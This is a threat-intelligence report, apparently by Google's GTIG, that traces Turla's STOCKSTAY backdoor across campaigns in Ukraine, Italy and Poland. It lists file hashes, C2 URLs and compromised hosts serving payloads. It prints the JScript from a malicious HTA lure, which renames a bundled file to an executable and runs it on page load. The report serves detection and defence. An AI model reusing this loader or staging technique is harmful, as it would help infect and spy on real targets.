<p><span>GTIG conducted a review of an incident response conducted by Mandiant relating to a late-2023 compromise of a Ukrainian organization, in which we observed Turla deploying a wide range of tools into the victim’s network, including WILDDAY, DIAMONDBACK and KAZUAR, via malicious GPO installation from a compromised domain controller. This activity was accompanied by other simple scripts and backdoors to deploy malware across multiple machines in the infected organization. </span></p>
<p><span>During the review, GTIG identified evidence of STOCKSTAY execution on one of the hosts impacted by the infected domain controller. Multiple ZIP archives, each containing one of the core components of STOCKSTAY or its configuration, were uploaded to the domain controller. The files were found in a directory used for staging registry files used to install WILDDAY both prior to and after STOCKSTAY appeared on the host, as well as for staging output from an otherwise unknown Powershell backdoor (iclsClient.ps1) which was also observed running from the domain controller.</span></p>
<p><span>During this operation, an initial STOCKSTAY configuration file was deployed to the domain controller alongside the STOCKSTAY core component executables, however this file was not able to be decrypted using any known passwords or environmental identifiers. A short while later, Mandiant observed a second configuration file being deployed to the domain controller, this time encrypted using the domain name associated with the compromised network. GTIG assesses with moderate confidence that the deployment of the initial configuration file was either a mistake by the threat actor - perhaps deploying a configuration file associated with a different victim - or the result of a default or invalid configuration file being bundled with STOCKSTAY during initial deployment to prevent sensitive C2 details from being captured in the event of early detection of the malware in the victim’s environment.  </span></p>
<p><span>The successfully decrypted configuration defined a STOCKSTAY WebSocket C2 URL of </span><code>wss://wool-basalt-clock.glitch.me/ws</code><span>. Additionally, the configuration specified an operational time-frame of Monday to Friday between the hours of 0900 and 1800 on the victim's system. This time-based restriction is likely intended to blend C2 communications with normal business operations in the victim's network. This same time-frame has been observed in a majority of STOCKSTAY configuration files analyzed by GTIG.</span></p>
<p><span>Of particular note, toward the end of this operation, Mandiant identified firewall detections relating to one of KAZUAR’s C2 endpoints. GTIG assesses, with low to moderate confidence, that the threat actor could have been aware of the suspicion surrounding its C2 and deployed STOCKSTAY as a failsafe in case KAZUAR was identified and remediated, thus enabling reinfection at a later date, in the event that STOCKSTAY remained undetected.</span></p></div>
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<p><strong>Indicator</strong></p>
</td>
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<p><strong>Description</strong></p>
</td>
</tr>
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<td>
<p><code>wss://wool-basalt-clock.glitch.me/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
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<p><span><span>Table 9: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>February 2024: Italy</span></h4>
<p><span>An MSI file configured to install STOCKSTAY was uploaded to VirusTotal at 2024-02-20 11:45:26 from Italy, under the filename “Copia.msi”. The MSI masqueraded as the </span><span>ILSpy application developed by ICSharpCodeTeam, and contained a large number of legitimate benign components. The MSI installed the core STOCKSTAY components under </span><code>%LOCALAPPDATA%/Programs/SMN/</code><span>, and enabled persistent execution via registry run keys. </span></p>
<p><span>The STOCKSTAY samples contained in the MSI were compiled between January 29 and January 31, 2024, with the configuration file last being modified on February 13, 2024, just a week before being submitted to VirusTotal.</span></p>
<p><span>In addition to the installation of STOCKSTAY, the MSI file contains a custom MSI action named “OpenUrl”. This action has the sequence number 1 in the InstallUISequence table, indicating it should be executed before any other actions. The custom action is configured to execute the following command:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>viewer.exe
https://circoloesteri.elezioni.idnet.it/admin-election/riepilogo.php</code></pre></div>
<div class="block-paragraph_advanced"><p><span>When viewed, the URL contains references to elections (“elezioni”) and the Italian organization “Circolo Degli Esteri”, which according to their official website (</span><a href="https://www.circoloesteri.it/" rel="noopener" target="_blank"><span>https://www.circoloesteri.it/</span></a><span>), was founded to “represent the Ministry of Foreign Affairs”. We do not currently assess that the actor was directly targeting Italian elections, and was instead using elections-related phishing lures to target victims. Due to limited visibility, we have been unable to identify any earlier stages of this particular operation, and cannot confirm the identity of the intended targets of any potential related phishing campaigns.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>Foreign Affairs Club 1936

Approval of the 2023 Financial Statement

Analysis of the status of those registered to vote (automatically updates every 60 seconds)...
update 6:26:50

Total Voters: 915
Currently registered members with 2-tonte status: 364
Currently registered with status 4 Ready to vote: 5
Currently registered with status 3 - Voted 46
Voter turnout (votes cast on registered voters): 5.03%</code></pre></div>
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        <figcaption class="article-image__caption "><p data-block-key="ugoq7">Figure 7: Italian-language decoy claiming to relate to Italy’s Circolo Degli Esteri</p></figcaption>
      
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<div class="block-paragraph_advanced"><p><span>Although inconclusive, this appears to indicate an intention to deploy STOCKSTAY against Italian-speaking individuals or organizations, specifically with a focus on foreign affairs.</span></p>
<p><span>In following with previous STOCKSTAY instances, this sample utilized environmental keying for its configuration file. GTIG was able to recover the domain name used to decrypt the configuration file in order to identify the WebSocket C2 address </span><code>wss://wool-basalt-clock.glitch.me/ws</code><span>. This matches the C2 address used in January 2024.</span></p></div>
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<p><strong>SHA-256</strong></p>
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</tr>
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<td>
<p><code>Copia.msi</code></p>
</td>
<td>
<p><span>MSI containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>b064a3efb04ed77e6c57955089ce639e193d166c8ea2216c98c3e9b701ea2cff</code></p>
</td>
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<td>
<p><code>StockMarketView.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb</code></p>
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<td>
<p><code>StockMarketNet.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>249a4c7cacdd8e99a2a089a5c0ce904f2eff22e0e40fcfb10f7824dca6c51ecb</code></p>
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</tr>
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<td>
<p><code>StockMarketSystem.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>b728eba4f0d6d16602fbad05a591f14391594262d3584b2e249e97f86e4dcc5a</code></p>
</td>
</tr>
<tr>
<td>
<p><code>default.conf</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>40b1208dda0cd5dd95c6b57764b2cfe7145b3ed9457f498408b4aaa05bf3ef50</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
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<p><span><span>Table 10: File indicators</span></span></p>
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<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>https://circoloesteri.elezioni.idnet.it/admin-election/riepilogo.php</code></p>
</td>
<td>
<p><span>Italian language lure relating to voting on matters related to the Italian Ministry of Foreign Affairs.</span></p>
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<td>
<p><code>wss://wool-basalt-clock.glitch.me/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 11: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>March 18 – April 3, 2025: Ukraine</span></h4>
<p><span>On April 2, 2025, GTIG identified a compromised email account sending a phishing email containing a message purporting to originate from a Ukrainian university, relating to the testing of a new distance learning environment. The threat actor attached a malicious Remote Desktop Protocol (RDP) file to the email, which upon opening resulted in a connection being established between the victim and an open RDP port (3389) hosted on the actor-registered domain chosen to imitate the same academic institution. </span></p>
<p><span>Once the victim connected to the actor's infrastructure, GTIG observed the actor deploying STOCKSTAY.MARKETMAKER to the client. STOCKSTAY.MARKETMAKER was configured to download a ZIP containing STOCKSTAY from a legitimate but compromised website belonging to the State Regulatory Service of Ukraine. In contrast to the majority of earlier observations, the configuration file observed during this operation was protected with a hard-coded password. This appears to correspond with this particular operation’s focus on initial access to a victim’s environment via spear-phishing, through which the specific domain or host name may not be known to the threat actor, and thus cannot be used for environmental keying. GTIG was able to identify the malware using the WebSocket C2 URL </span><code>wss://weatherdataai.theworkpc.com/ws</code><span>.</span></p>
<p><span>According to the metadata associated with the ZIP archive downloaded by STOCKSTAY.MARKETMAKER, the core STOCKSTAY components used during this operation were last modified between March 18 – 26, with the configuration file last being modified on March <span>31</span>.</span></p></div>
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<div><table><colgroup><col><col><col></colgroup>
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<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>MicrosoftUpdateOneDrive.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.MARKETMAKER Downloader</span></p>
</td>
<td>
<p><code>da8a96bc74e265f945f1cc6992c6dc0f9ea36ed1991f7b8d312db79d9bf78c40</code></p>
</td>
</tr>
<tr>
<td>
<p><code>docs.zip</code></p>
</td>
<td>
<p><span>ZIP archive containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>9fe944147c15a87963b06baf6473288d64c23655a0ba9369c35566272d8efc73</code></p>
</td>
</tr>
<tr>
<td>
<p><code>SMEditor.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>e1d16fb635060d23e889b0617d77f0cf06d00cc19b43a2c8b5ac53ac027ac722</code></p>
</td>
</tr>
<tr>
<td>
<p><code>SMNet.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketView.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>2af7b513c05e76d7da5f75bb0a223c894a706c99ef2c2ddfe4eae542f95a08e0</code></p>
</td>
</tr>
<tr>
<td>
<p><code>fonts</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>40a3b969d81ef1ef35dd9ebcc6774e060b1b8949d3d74f38ca6b7d789c95cdb3</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 12: File indicators</span></span></p>
</div></div>
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<div><table><colgroup><col><col></colgroup>
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<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>https://www.drs.gov.ua/wp-content/themes/twentytwentyfive/docs.zip</code></p>
</td>
<td>
<p><span>Compromised State Regulatory Service of Ukraine infrastructure serving ZIP archive containing STOCKSTAY components</span></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://weatherdataai.theworkpc.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 13: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>May 14, 2025: Poland</span></h4>
<p><span>GTIG identified two samples of STOCKSTAY.STOCKBROKER being uploaded to VirusTotal on May </span>14, 2025 from Poland. </p>
<p><span>The first sample, named “ClientMNGR2.exe”, matched previously observed versions, however the second sample, named “GR3.exe”, was heavily obfuscated using large quantities of junk code, and a previously unknown string obfuscation mechanism. GTIG tracks this obfuscation mechanism as K1MORPHER, and we have since observed its inclusion in all core STOCKSTAY components, and within select samples of KAZUAR; increasing our confidence that STOCKSTAY exists within the same development ecosystem as other malware leveraged by Turla.</span></p></div>
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<div><table><colgroup><col><col><col></colgroup>
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<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>ClientMNGR2.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler obfuscated with K1MORPHER</span></p>
</td>
<td>
<p><code>d3fd32f915c239872c9e7ed9408b1f36dfcef03aa68f9a396d05c437667cdb43</code></p>
</td>
</tr>
<tr>
<td>
<p><code>GR3.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler obfuscated with K1MORPHER</span></p>
</td>
<td>
<p><code>98ce3c6e4dd05887ea619f2bbfeb2e2c2805ed07e85e119b79b828b7ef8be397</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 14: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>May 28 – August 8, 2025: Ukraine </span><span>— </span><span>Deployment via Malicious HTA</span></h4>
<p><span>On August 8, 2025, GTIG identified a RAR archive, “calculator.rar”, being submitted to VirusTotal. The archive had been hosted on compromised infrastructure belonging to a Ukrainian IT company since at least July 22, 2025. The archive contained a malicious HTA file named “Калькулятор грошового забезпечення військовослужбовців 2025.hta” (translation: "Military personnel cash benefit calculator 2025.hta"). The HTA was designed to execute a variant of the STOCKSTAY.MARKETMAKER downloader, which was also included in the archive, using the code shown in Figure 9.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig8.max-1000x1000.png" alt="Lure HTML page displayed by Калькулятор грошового забезпечення військовослужбовців 2025.hta">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="j8j2f">Figure 8: Lure HTML page displayed by Калькулятор грошового забезпечення військовослужбовців 2025.hta</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>&lt;script language="JScript"&gt;
  function renameAndRunFile() {
    try {
      var oldName = "calculator_2025_files\\styles.dat";
      var newName = "calculator_2025_files\\styles.dat.exe";

      var fso = new ActiveXObject("Scripting.FileSystemObject");

      if (fso.FileExists(oldName)) {
        if (fso.FileExists(newName)) {
          fso.DeleteFile(newName);
        }
        fso.MoveFile(oldName, newName);

        var shell = new ActiveXObject("WScript.Shell");
        shell.Run('"' + newName + '"', 1, false);
      } else {
      }

    } catch (e) {
    }
  }

window.onload = function() {
  renameAndRunFile();
};
&lt;/script&gt;</code></pre>
<p><span><span>Figure 9: JavaScript code contained in Калькулятор грошового забезпечення військовослужбовців 2025.hta</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>The STOCKSTAY.MARKETMAKER variant retrieved a ZIP archive, “EditorToolsPdf.zip”, containing the core STOCKSTAY components from a second compromised server located in Ukraine, this time hosting the archive within a compromised WordPress instance. </span></p>
<p><span>Analysis of the modification timestamps within the military calculator lure archive show that this operation dated as far back as May <span>28,</span> 2025, when the majority of the contents of the “calculator_2025_files” folder were last modified. The STOCKSTAY.MARKETMAKER executable was last modified on June 5, 2025, and the malicious HTA file was modified on June 10, 2025. </span></p>
<p><span>Similar examination of the STOCKSTAY archive shows the configuration file being modified on June 4, 2025, while the archive itself was last modified on the compromised server on June 5, 2025. This series of events shows that the complete STOCKSTAY ZIP archive was staged on the compromised infrastructure while modifications were being made to the initial phishing lures.</span></p>
<p><span>GTIG has been able to confirm via a trusted third party that the original compromise of the Ukrainian server used to host the STOCKSTAY archive occurred on or before May <span>13,</span> 2025.</span></p></div>
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<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>calculator.rar</code></p>
</td>
<td>
<p><span>RAR archive containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>6da0b4c1a5d0d3fb6e6a2990a82ba51db1f68a3bba818baa46526a29731e2342</code></p>
</td>
</tr>
<tr>
<td>
<p><code>Калькулятор грошового забезпечення військовослужбовців 2025.hta</code></p>
</td>
<td>
<p><span>HTA lure </span></p>
<p><span>(translated filename: “Military personnel cash benefit calculator 2025.hta”)</span></p>
</td>
<td>
<p><code>0d6b083208097d5b3e189891338540f6c64faaaaf268b0bb0b085dd53d5857b4</code></p>
</td>
</tr>
<tr>
<td>
<p><code>styles.dat.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.MARKETMAKER downloader</span></p>
</td>
<td>
<p><code>626330d22f77d9cbca9d40cc06568041703f194610c4c5a84bbb05a2e4ee7459</code></p>
</td>
</tr>
<tr>
<td>
<p><code>EditorToolsPdf.zip</code></p>
</td>
<td>
<p><span>ZIP archive containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>447f430b46fad5a3f8e8c5aad1f8f7f79af069489c3d9c29224bb9f14f0c7bf4</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ViewPdf.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ClientMNGR.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>80f6c010fd260d0bcf18a4b6a8d62505adbed50d2e615ed9522c4bfd61c00661</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ConverterDDSNet.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>55249f296b63a8bcf911b8bc96de43c1ac2b4a56c150a19d33d892a47e57352c</code></p>
</td>
</tr>
<tr>
<td>
<p><code>fonts</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>e3364ee21cae6725451e8bc9ab9933df0000fd19814170bd132da68d1906d5ff</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 15: File indicators</span></span></p>
</div></div>
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<div><table><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>https://basecon.com.ua/calculator.rar</code></p>
</td>
<td>
<p><span>RAR archive containing HTA lure and STOCKSTAY.MARKETMAKER downloader</span></p>
</td>
</tr>
<tr>
<td>
<p><code>https://online.zp.ua/wp-content/uploads/Tools/EditorToolsPdf.zip</code></p>
</td>
<td>
<p><span>Compromised WordPress infrastructure hosting STOCKSTAY ZIP archive</span></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://canal1zac1a.onrender.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 16: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>July 23 – 28, 2025: Actor Uses GitHub to Host STOCKSTAY MSI Files</span></h4>
<p><span>GTIG identified a GitHub account we suspect of being used by the threat actor to test or deploy STOCKSTAY. The GitHub account, </span><code>Roberto1983-ai</code><span>, was created on July <span>23,</span> 2025 at 12:01:03. </span></p>
<p><span>On July <span>24,</span> 2025, the account created a public repository named </span><code>msi_installer_test2</code><span>, into which a single file was uploaded: </span><code>DiplomacyEduAI.msi</code><span>. A second repository, this time named </span><code>msi_installer_test3</code><span>, was created by the same user on July 28, 2025, and subsequently populated with another version of </span><code>DiplomacyEduAI.msi</code><span>.</span></p>
<p><span>Both versions of </span><code>DiplomacyEduAI.msi</code><span> contained core STOCKSTAY components, alongside a configuration file containing the WebSocket C2 URL </span><code>wss://canal1zac1a.onrender.com/ws</code><span>. GTIG has been unable to identify any active operations using these specific MSI files.</span></p></div>
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<div><table><colgroup><col><col><col></colgroup>
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<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>DiplomacyEduAI.msi</code></p>
</td>
<td>
<p><span>MSI containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>19e6ed42248f9d03beb343a7c09a864dcd3cd671c29e1e5eac93579225224ac9</code></p>
</td>
</tr>
<tr>
<td>
<p><code>DiplomacyEduAI.msi</code></p>
</td>
<td>
<p><span>MSI containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>6298f3150ad94a242e649886d47c59c634a4d04b9af5ee15e3bf335c40b5e58e</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ClientMNGR.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>80f6c010fd260d0bcf18a4b6a8d62505adbed50d2e615ed9522c4bfd61c00661</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ViewPdf.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ConverterDDSNet.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>d8fe8f3fe838d5b1a1043096f6f6bb6f524f5f1b0c9f83a081078a824daa0cf3</code></p>
</td>
</tr>
<tr>
<td>
<p><code>fonts</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>4e3bed10a8eff3e9205c1f37f647512464271d5ac65df7ae4709735621a38320</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 17: File indicators</span></span></p>
</div></div>
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<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://canal1zac1a.onrender.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 18: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>August 14, 2025: Actor Uses GitHub to Host STOCKSTAY Server Code</span></h4>
<p><span>GTIG identified a second GitHub account, which was observed hosting what we assess to be server-side code for handling STOCKSTAY C2 communications. The GitHub account, </span><code>ChikenFresh</code><span>, was created on August 14, 2025, then almost immediately created a public repository named </span><code>google-ai-labs-it</code><span>, into which the suspected C2 controller code was uploaded. Our analysis of the C2 controller is included in the malware analysis section earlier in this report.</span></p>
<p><span>The GitHub repository name corresponds with a STOCKSTAY C2 server identified running on the Render platform, however GTIG has not observed any active operations using this infrastructure. We assess that the threat actor linked this GitHub repository to their Render account in order to utilize their </span><a href="https://render.com/docs/websocket" rel="noopener" target="_blank"><span>WebSocket hosting</span></a><span> capabilities.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
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<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>server.py</code></p>
</td>
<td>
<p><span>Python STOCKSTAY C2 controller</span></p>
</td>
<td>
<p><code>f04f43b6f7c2d86109c495179b497f7fb45fd95816623de1b77900f71b4f99ed</code></p>
</td>
</tr>
<tr>
<td>
<p><code>models.py</code></p>
</td>
<td>
<p><span>Database table definitions and models for use by </span><code>server.py</code><span> </span></p>
</td>
<td>
<p><code>7615140f78d9a0ce31cc9fe8c54c60028a7439cb32526fd97b10afef7145dd78</code></p>
</td>
</tr>
<tr>
<td>
<p><code>wtools.py</code></p>
</td>
<td>
<p><span>Utility functions for use by </span><code>server.py</code></p>
</td>
<td>
<p><code>b55f3b8a7334af049ba3f70a9ad3fe78574b1e180c68baf9a7110d104387a636</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 19: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://google-ai-labs-it.onrender.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 20: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>November 2025: Ukraine — Drone-Related Lures and Deployment via CVE-2025-8088</span></h4>
<p><span>On November 6, 2025, GTIG identified a batch of phishing emails being sent from a drone-themed UKR.NET email account, to approximately 20 Ukraine-based targets, each containing a unique ukr.net file sharing link. Each link led to a malicious RAR archive which exploits a path traversal vulnerability in WinRAR (</span><a href="https://cloud.google.com/blog/topics/threat-intelligence/exploiting-critical-winrar-vulnerability"><span>CVE-2025-8088</span></a><span>) to install the core STOCKSTAY components. Continuations of this phishing activity were observed on November 12 and 14, 2025. We identified that only around 30% of the recipients of these phishing emails opened the emails, however we are unable to confirm how many of these individuals downloaded or executed the malicious payloads. All affected Google accounts were marked for additional authentication checks as a precautionary measure against potential account compromise. Google also notified affected users via our </span><a href="https://support.google.com/mail/answer/2591015" rel="noopener" target="_blank"><span>Government Backed Attack Warning</span></a><span> (GBAW) notifications.</span></p>
<p><span>GTIG identified two distinct types of Ukrainian-language decoy documents within the malicious RAR archives, both appearing to target Ukrainian military personnel. The first, “Донесення БпЛА 06.11.2025.docx” (“UAV report 06.11.2025.docx”), claimed to be “[A] Report on the availability/need for UAVs, their condition, the availability of crews for each UAV in the units, their training in the defense zone of the 1st Brigade as of 06.11.2025” (see Figure 10).</span></p></div>
<div class="block-image_full_width">






  
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        h-c-grid__col
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      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig10.max-1000x1000.png" alt="“Report” Decoy document from November 2025">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="9e24u">Figure 10: “Report” Decoy document from November 2025</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>The second decoy, observed as “Товари(докладніше).docx” (“Products (more details).docx”) and “Приклади товарів для листа (деталізовано).docx” (“Examples of products for the letter (detailed).docx”), predominantly comprised of an equipment list referencing: “Tactical medicine”; “Communication and surveillance equipment”; “Equipment and survival equipment”; and “Automotive property” (see Figure 11).</span></p></div>
<div class="block-image_full_width">






  
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    <figure class="article-image--large
      
      
        h-c-grid__col
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      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig11.max-1000x1000.png" alt="“Equipment List” Decoy document from November 2025">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="9e24u">Figure 11: “Equipment List” Decoy document from November 2025</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>Each of the decoy documents contained an external image reference that causes a connection to be made from the victim’s machine to a site likely monitored by the threat actor, signaling that the document has been opened. GTIG believes the URLs referenced by the decoy documents may be hosted on compromised infrastructure.</span></p>
<p><span>GTIG identified that the instances of STOCKSTAY observed being deployed during this operation contained enhancements intended to increase resistance to detection, specifically by carving out functionality into external modules. These external modules were named to imitate legitimate Windows libraries, using the filenames shown in Table 20.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Component</strong></p>
</td>
<td>
<p><strong>Filename</strong></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKMARKET</span></p>
</td>
<td>
<p><code>MSViewer.exe</code></p>
</td>
</tr>
<tr>
<td>
<p><span>Shared STOCKSTAY core module</span></p>
</td>
<td>
<p><code>ms-lib-math-core.dll</code></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKBROKER</span></p>
</td>
<td>
<p><code>MSDriver.exe</code></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKBROKER core module</span></p>
</td>
<td>
<p><code>ms-api-wmcpdt.dll</code></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKTRADER</span></p>
</td>
<td>
<p><code>MSRender.exe</code></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKTRADER core module</span></p>
</td>
<td>
<p><code>ms-api-win-render.dll</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 21: STOCKSTAY component filenames observed in November 2025</span></span></p>
</div></div>
